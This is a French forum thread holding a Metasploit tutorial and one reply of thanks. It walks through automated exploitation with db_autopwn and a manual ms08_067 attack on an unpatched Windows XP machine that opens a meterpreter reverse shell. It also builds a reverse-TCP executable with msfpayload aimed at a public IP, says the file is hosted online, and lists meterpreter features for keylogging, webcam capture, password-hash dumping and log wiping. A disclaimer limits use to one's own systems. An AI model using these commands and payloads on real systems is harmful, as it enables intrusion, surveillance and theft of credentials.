user@linuxtrack:~ $ python -c 'print("Soyez les bienvenus !")'

Vous n'êtes pas identifié(e).

#1 09-05-2014 18:22:20

IceF0x
#! Gourou Linux

[Tuto] Metasploit

1292536495.png

Utilisation de data-bases avec MSF

MSF permet de stocker les résultats d'analyse d'exploitation / des data-bases pour le stockage persistant.
Le cadre prend en charge en utilisant une data-base et très peu de back-ends. Il s'agit notamment de:

  • Postgres

  • MySQL

  • SQLite (version 2 & 3)

Note: Sauf pour SQLite (qui stocke la data-base dans un fichier),
vous avez besoin de démarrer le service Postgres ou MySQL avant de commencer à utiliser les bases de données avec Metasploit.
Note: Utiliser le Framework avec postgres exige d'éditer pg_hba.conf. Remplacez la valeur par défaut "ident" méthode avec «trust» comme indiqué:
Pg_hba.png

Remarque: avant d'utiliser postgres, vous devez lancer le service.

service postgres start

Note: Pour de meilleurs résultats, utilisez msfconsole pour interagir avec une base de donnée du Framework.

Le stockage de la data-base est très pratique pour MSF avec assez peu de moyens. Le plus intéressant sujet de l'exploitation automatisée travaille avec l'intégration de data-base. MSF peut scanner les hôtes en utilisant nmap et de stocker leurs états dans la base de donnée, puis tenter automatiquement d'exploiter les vulnérabilités qui ont des exploits présent pour eux dans MSF. Modules auxiliaires tels que les scanners peuvent aussi utiliser des base de données pour stocker les informations des différents statuts. Vous pouvez même écrire votre propre scanner rapide et en stocker les informations dans une base de donnée sous-jacentes.

Le schéma des data-bases.

MSF crée les data-bases pour son utilisation. Cette data-base contient les tables suivantes.

    * hosts
    * creds
    * refs
    * services
    * vulns
    * vulns_refs
    * clients
    * events
    * loots
    * report_templates
    * reports
    * tasks
    * users
    * workspaces


Vous pouvez facilement visualiser la structure de ces data-bases dans votre RDBMS.

Note: Le dossier framework_base_folder/data/sql/ contient les fichiers SQL qui sont utilisés pour créer les tables de data-bases pour un  RDBMS donné.

Chargement d'un module de data-base

Avant de commencer à utiliser les data-bases avec MSF, le module de data-base approprié devrait être chargé. Pour msfconsole, ce qui peut être chargé en utilisant les commandes de chargement db_ *. Voici un exemple de session de l'utilisation de MySQL avec MSF.

root # /etc/rc.d/rc.mysqld start     [# démarrez le serveur de data-base mysql]
Starting mysqld daemon with databases from /var/lib/mysql

root # msfconsole                    [# démarrage de l'interface de la console MSF]

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ msf v3.1-dev
+ -- --=[ 191 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
       =[ 35 aux

msf > load db_mysql                 [# chargez le plugin data-base mysql]
[*] Successfully loaded plugin: db_mysql

msf > help                          [# New set of commands are available now]
MySQL Database Commands
=======================

    Command        Description
    -------        -----------
    db_connect     Connect to an existing database ( user:pass@host:port/db )
    db_create      Create a brand new database ( user:pass@host:port/db )
    db_destroy     Drop an existing database ( user:pass@host:port/db )
    db_disconnect  Disconnect from the current database instance

Création d'une base de données

La première fois que vous voulez utiliser une data-base avec MSF, vous avez besoin de la créer. Une fois qu'une base de données est créée, vous pouvez l'utiliser pour la connexion des futures sessions. La commande db_create vous permet de créer une nouvelle data-base. Elle permet de créer une data-base nommée Metasploit

[# Connect and user [i]root[/i] with password [i]mydbpass[/i] and create a database named metasploit]
msf > db_create root:mydbpass@localhost/nom_de_la_base 
[*] Database creation complete (check for errors)

Une fois que la data-base est créée, elle est automatiquement utilisable pour cette session. Pour d'autres sessions, vous pouvez vous connecter à la db.

Utilisation d'une data-base existante

Si vous avez créé une base de donnée précédemment, pour les futures sessions, vous pouvez simplement l'utiliser avec la commande db_connect.

root # msfconsole                    [# démarrage de l'interface de la console MSF]

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ msf v3.1-dev
+ -- --=[ 191 exploits - 104 payloads
+ -- --=[ 17 encoders - 5 nops
       =[ 35 aux

msf > load db_mysql                                  [# Load mysql database plugin]
[*] Successfully loaded plugin: db_mysql

msf > db_connect root:mydbpass@localhost/nom_de_la_base  [# Connexion à la base de donnée]

msf > help                 [# Upon connecting to a database, we get another new set of commands]
Database Backend Commands
=========================

    Command               Description
    -------               -----------
    db_add_host           Add one or more hosts to the database
    db_add_port           Add a port to host
    db_autopwn            Automatically exploit everything
    db_hosts              List all hosts in the database
    db_import_nessus_nbe  Import a Nessus scan result file (NBE)
    db_import_nmap_xml    Import a Nmap scan results file (-oX)
    db_nmap               Executes nmap and records the output automatically
    db_services           List all services in the database
    db_vulns              List all vulnerabilities in the database
msf > db_hosts
[*] Host: localhost

Déconnexion d'une data-base

Si, dans une session, vous sentez que vous n'avez plus la nécessité d'utiliser la base de donnée, vous pouvez déconnecter la base de donnée en utilisant simplement la commande db_disconnect à l'invite "MSF>".


Suppression d'une data-base

Lorsque vous voulez simplement supprimer une base de donnée avec toutes les données qu'elle contient (peut-être, vous avez fait une sauvegarde et vous chercher maintenant à libérer de l'espace disque), puis vous pouvez le faire en utilisant la commande db_destroy.

msf > db_destroy root:mydbpass@localhost/nom_de_la_base  [# Supprime la base de données Metasploit]
Database "metasploit" dropped

Commandes data-base Backend

Lorsque MSF est connecté à une data-base, un autre ensemble de commandes appelées commandes de data-base backend sont disponibles. Ces commandes vous permettent d'effectuer des scans de port sur les hôtes, vérifiez les hôtes en direct, les services qui sont en cours d'exécution et les vulnérabilités que ces services ont.

 

   Command               Description                                         
   -------               -----------                                         
   db_add_host           Add one or more hosts to the database               
   db_add_note           Add a note to host                                  
   db_add_port           Add a port to host                                  
   db_autopwn            Automatically exploit everything                    
   db_hosts              List all hosts in the database                      
   db_import_nessus_nbe  Import a Nessus scan result file (NBE)              
   db_import_nmap_xml    Import a Nmap scan results file (-oX)               
   db_nmap               Executes nmap and records the output automatically  
   db_notes              List all notes in the database                      
   db_services           List all services in the database                   
   db_vulns              List all vulnerabilities in the database

L'important est d'utiliser plus souvent la commande db_nmap qui utilisera nmap avec les commandes spécifique et de consigner les résultats dans la base de données.

msf> db_nmap -sS -P0 192.168.1.1
...

Pour lister les hôte(s) trouvé dans le scan ...

msf> db_hosts
[*] Time: Wed Mar 05 15:18:48 -0500 2008 Host: 192.168.1.1

Pour obtenir la liste des vulnérabilités possibles dans l'analyse de l'hôte(s) ...

msf> db_vulns
...

db_autopwn

Vous pouvez utiliser une autre data-base principale la commande db_autopwn va exécuter exploits contre l'hôte(s) à partir de la data-base. H.D. Moore a écrit sur cette fonctionnalité lorsque ajouté au framework - pour plus d'informations: http://blog.metasploit.com/2006/09/metasploit-30-automated-exploitation.htm…

msf > db_autopwn
[*] Usage: db_autopwn [options]
       -h         Display this help text
       -t         Show all matching exploit modules
       -x         Select modules based on vulnerability references
       -p         Select modules based on open ports
       -e         Launch exploits against all matched targets
       -s         Only obtain a single shell per target system (NON-FUNCTIONAL)
       -r         Use a reverse connect shell
       -b         Use a bind shell on a random port
       -I [range] Only exploit hosts inside this range
       -X [range] Always exclude hosts inside this range

traduit de: http://en.wikibooks.org/wiki/Metasploit/UsingMetasploit


== Utilisation avec autopwn ==

Pré-requis

postgresql

:!: vous devrez probablement redémarrer postgresql avec cette commande

service postgresql restart

utilisez la touche TAB pour avoir la version exacte de postgresql.

Une VMware avec Windows XP installé dessus non mise à jour.

Désactiver le pare-feu local "panneau de configuration>centre de sécurité>pare-feu Windows (j'éditerai le post une fois trouvé la technique pour ne pas désactiver le pare-feu local).

1292533417.png

Lancer msfconsole.

coyotus@Debian ~ $ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.5.1-release [core:3.5 api:1.0]
+ -- --=[ 635 exploits - 314 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11352 updated today (2010.12.16)

msf > 

Ensuite

msf > db_driver postgresql

On se connecte à la data-base postgresql

msf > db_connect coyotus:passe@coyotus

On recherche si l'hote est en ligne

msf > db_nmap -PN 172.16.205.129

et on lance la détection d'exploit

msf > db_autopwn -p -e -t

Et on découvre le résultât quelques instant plus tard.

[*] The autopwn command has completed with 1 sessions
[*] Enter sessions -i [ID] to interact with a given session ID
[*] 
[*] ================================================================================

Active sessions
===============

  Id  Type                   Information                           Connection                                  Via
  --  ----                   -----------                           ----------                                  ---
  1   meterpreter x86/win32  AUTORITE NT\SYSTEM @ COYOTUS-5C91219  172.16.205.1:46619 -> 172.16.205.129:14359  exploit/windows/smb/ms08_067_netapi

[*] ================================================================================

Plus qu'a lancer la session trouvée.

msf > sessions -i 1
[*] Starting interaction with 1...

meterpreter > 

Exemple.

meterpreter > shell
Process 3732 created.
Channel 1 created.
Microsoft Windows XP [version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

== Utilisation avec meterpreter ==

Pré-requis

Une VMware avec Windows XP installé dessus non mise à jour.

Désactiver le pare-feu local "panneau de configuration>centre de sécurité>pare-feu Windows (j'éditerai le post une fois trouvé la technique pour ne pas désactiver le pare-feu local).

Lancer msfconsole.

coyotus@Debian ~ $ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##


       =[ metasploit v3.5.1-release [core:3.5 api:1.0]
+ -- --=[ 635 exploits - 314 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11352 updated today (2010.12.16)

msf > 

Ensuite, comme il y a un nombre considérable d'api, on va lister les api

msf > search net api
[*] Searching loaded modules for pattern 'api'...

Trouvez un api, dans notre exemple on va en prendre une très connue, la ms08_067

http://www.microsoft.com/technet/securi … 8-067.mspx

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > 

Trouver un reverse tcp

msf exploit(ms08_067_netapi) > search reverse tcp
[*] Searching loaded modules for pattern 'tcp'...
msf exploit(ms08_067_netapi) > set payload  windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms08_067_netapi) > 

Affichez les options

msf exploit(ms08_067_netapi) > show options

Réglez le host local, lhost = "local host"

msf exploit(ms08_067_netapi) > set lhost 192.168.1.11
lhost => 192.168.1.11
msf exploit(ms08_067_netapi) > 

Réglez le host distant (ici la vm), rhost = "remote host"

msf exploit(ms08_067_netapi) > set rhost 172.16.205.129
rhost => 172.16.205.129
msf exploit(ms08_067_netapi) > 

Ré-affichez les options pour vérifier.

msf exploit(ms08_067_netapi) > show options

Module options:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    172.16.205.129   yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.11     yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > 

Lancez l 'exploit en tapant : "exploit"

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.1.11:4444 
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:French
[*] Selected Target: Windows XP SP2 French (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (749056 bytes) to 192.168.1.11
[*] Meterpreter session 1 opened (192.168.1.11:4444 -> 192.168.1.11:39872) at 2010-12-16 21:41:09 +0100

meterpreter > 

Tapez "help" pour toute les commandes

meterpreter > help

Core Commands
=============

    Command       Description
    -------       -----------
    ?             Help menu
    background    Backgrounds the current session
    bgkill        Kills a background meterpreter script
    bglist        Lists running background scripts
    bgrun         Executes a meterpreter script as a background thread
    channel       Displays information about active channels
    close         Closes a channel
    exit          Terminate the meterpreter session
    help          Help menu
    interact      Interacts with a channel
    irb           Drop into irb scripting mode
    migrate       Migrate the server to another process
    quit          Terminate the meterpreter session
    read          Reads data from a channel
    run           Executes a meterpreter script
    use           Load a one or more meterpreter extensions
    write         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    del           Delete the specified file
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getpid        Get the current process identifier
    getprivs      Get as many privileges as possible
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    sysinfo       Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop

La commande screenshot sert à prendre des captures d'écran

1292528895.jpg

    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------       -----------
    timestomp     Manipulate file MACE attributes

meterpreter > 

Merci à Kotelete pour son aide pour la seconde partie du tuto

== Test distant ==

Pré-requis

Un pc faillible (pour mon test j'ai pris un ibm thinkpad avec windows xp sans service pack ni anti-virus et aucun firewall).

Avoir sa propre ip que l'on peux vérifier sur http://www.monip.org/.

Une connexion distante ou l'autorisation de connecter le pc sur une connexion tiers (un ami qui vous prête sa connexion le temps du test).

Et enfin ouvrir le port "4444" sur sa propre box en TCP/UDP (pensez à le fermer une fois le test fini).

Par précaution j'ai redémarré postgresql.

coyotus@Debian ~ $ sudo /etc/init.d/postgresql-8.4 restart
[sudo] password for coyotus: 
 * Restarting PostgreSQL 8.4 database server                                                                                                                                                            [ OK ] 

On va créer le malware LHOST votre ip que l'on peut optenir sur http://ifconfig.me/

coyotus@Debian ~ $ msfpayload windows/meterpreter/reverse_tcp LHOST=109.129.179.70 X > /tmp/MyTest.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 290
Options: LHOST=109.129.179.70

On le rend exécutable.

coyotus@Debian ~ $ chmod +x /tmp/MyTest.exe

On l'héberge, http://linuxtrack.net/save/MyTest.exe (inutile de le télécharger votre anti-virus criera si vous êtes sous Windows, le lien est donné à titre informatif).
note: il faut bien sur que l'exe soit éxécuté  :mdr:

Ensuite on lance metasploit en console

coyotus@Debian ~ $ msfconsole

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888


       =[ metasploit v3.6.0-dev [core:3.6 api:1.0]
+ -- --=[ 636 exploits - 314 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
       =[ svn r11385 updated today (2010.12.21)

Et on utilise le multi/handler

msf > use multi/handler

On regle son ip locale qu'on peut obtenir avec la commande ifconfig

msf exploit(handler) > set LHOST 192.168.1.10
LHOST => 192.168.1.10

Enfin on lance l'exploit,
vous aurrez directement l'accès avec "meterpreter" et il vous suffira de tapez "help" pour obtenir la liste des commandes.

msf exploit(handler) > exploit 

[*] Started reverse handler on 192.168.1.10:4444 
[*] Starting the payload handler...
[*] Sending stage (749056 bytes) to 217.136.15.219
[*] Meterpreter session 1 opened (192.168.1.10:4444 -> 217.136.15.219:1097) at 2010-12-21 10:01:54 +0100

meterpreter > screenshot 
Screenshot saved to: /home/coyotus/RGFcHooD.jpeg
meterpreter > 

Résultat de la commande screenshot.

1292926737.jpg

:!: Ces test sont réaliser dans des condition idéale, il est évident qu'il est pratiquement impossible de trouver des exemple concret ou des victimes ont l'inconscience d'avoir un système aussi faillible que celui utilisé pour les test (quoi que).

autre tuto en pdf: http://shadowspy.free.fr/ebooks/securit … rse_FR.pdf

:!:  Ce tuto revele l'importance de mettre à jour votre système et d'utiliser un pare-feu, en aucun cas vous devez utiliser les information de ce tuto pour pénétrer un système qui ne vous appartien pas ou auquel vous n'avez pas l'autorisation de son propriétaire.


Utiliser des logiciels propriétaires, c'est comme les plats préparés, on est incapable de dire les conservateurs qu'ils contiennent, on dira toujours que c'est bon, mais ça ne remplacera jamais le repas fait maison par sa maman.
]:D #! Crunchbang & Archlinux GNU/Linux User ]:D

Hors ligne

#2 23-05-2014 17:15:59

3ACK3OX
Membre

Re : [Tuto] Metasploit

wink tutoriel très bien détailler  smile

mise en pdf  big_smile

merci Coyotus


Celui qui ne dispose pas des 2/3 de ca journée, est un ésclave  ]:D

OS: Crunchbang avec dépots Kali smile

Hors ligne

Pied de page des forums